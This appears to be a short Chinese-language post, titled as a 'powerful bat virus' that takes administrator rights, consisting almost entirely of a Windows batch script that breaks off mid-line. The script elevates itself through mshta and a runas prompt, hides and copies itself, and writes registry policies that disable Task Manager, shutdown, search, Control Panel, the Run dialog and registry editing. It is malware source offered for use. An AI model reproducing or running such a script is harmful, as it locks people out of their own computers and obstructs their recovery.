强大的bat病毒（拿管理员权限）

%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
@echo off
attrib %0 +s +r +h
copy %0 C:\Users\PC\Desktop
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer /v NoClose /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer /v NoFind /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer /v NoControlPanel /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer /v NoRun /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 1 /f >nul
reg add HKCU\Software\Micr